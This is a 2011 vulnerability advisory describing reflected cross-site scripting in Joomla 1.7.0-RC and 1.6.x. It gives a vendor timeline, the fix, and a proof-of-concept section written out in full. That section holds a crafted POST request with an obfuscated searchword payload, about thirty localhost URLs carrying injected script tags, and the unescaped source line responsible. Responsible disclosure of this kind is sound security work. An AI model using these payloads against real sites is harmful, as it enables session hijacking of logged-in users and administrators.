Joomla! 1.7.0-RC and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities 1. OVERVIEW Joomla! 1.7.0-RC and versions of 1.6.x are vulnerable to multiple Cross Site Scripting issues. 2. BACKGROUND Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model?view?controller (MVC) Web application framework that can also be used independently. Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization. 3. VULNERABILITY DESCRIPTION Several parameters (searchword, Request URI) in Joomla! Core components are not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSION AFFECTED 1.7.0-RC and all versions of 1.6.x 5. PROOF-OF-CONCEPT/EXPLOIT component: com_search, parameter: searchword (Browser: IE, Konqueror) ===================================================================== N.B. Our previous reported issue (1.6.3) of "searchword" parameter XSS was not fixed completely. [REQUEST] POST /joomla164_noseo/index.php HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: MSIE 8.0 Connection: close Referer: http://localhost/joomla164_noseo/ Content-Type: application/x-www-form-urlencoded Content-Length: 456 task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&option=com_search [/REQUEST] XSS in Request URI ==================== File: ./includes/application.php Line: 176, 181 Code: $document->setBase(JURI::current()); // instead of $document->setBase(htmlspecialchars(JURI::current())); http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/new-feed-categories/'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/24-joomla'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/search-component/search/'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/site-map/contacts/'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/component/banners/click/3'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/fruit-encyclopedia/'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/fruit-encyclopedia/38-a'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/fruit-encyclopedia/39-b'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/fruit-encyclopedia/57-t'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/growers/23-happy-orange-orchard'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/image-gallery/animals/25-koala'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/image-gallery/scenery/64-blue-mountain-rain-forest'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/image-gallery/scenery/65-ormiston-pound'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/34-park-site/'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/34-park-site/2-webmaster'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/35-shop-site/'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/35-shop-site/8-shop-address'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised/'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised/67-whats-new-in-15'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-categories/26-park-site'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-categories/29-fruit-shop-site'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/20-extensions'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/24-joomla'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/1-joomla-announcements'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/2-new-joomla-extensions'"><script>alert(/XSS/)</script> http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/3-joomla-security-news'"><script>alert(/XSS/)</script> ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 6. IMPACT Attackers can compromise currently logged-in user/administrator session and impersonate arbitrary user actions available under /administrator/ functions. 7. SOLUTION The development of Joomla! 1.6.x has been ceased; there will be no fixed version for 1.6.x. Upgrade to Joomla! 1.7.0-stable or higher. 8. VENDOR Joomla! Developer Team http://www.joomla.org 9. CREDIT This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 10. DISCLOSURE TIME-LINE 2011-07-02: notified vendor 2011-07-19: patched version, 1.7.0-stable, released 2011-07-22: vulnerability disclosed 11. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.7.0-rc]_cross_site_scripting(XSS) Previous Advisory URL: http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.3]_cross_site_scripting(XSS) http://yehg.net/lab/#advisories.joomla Vendor Advisory URL: http://developer.joomla.org/security/news/357-20110701-xss-vulnerability.html #yehg [2011-07-22]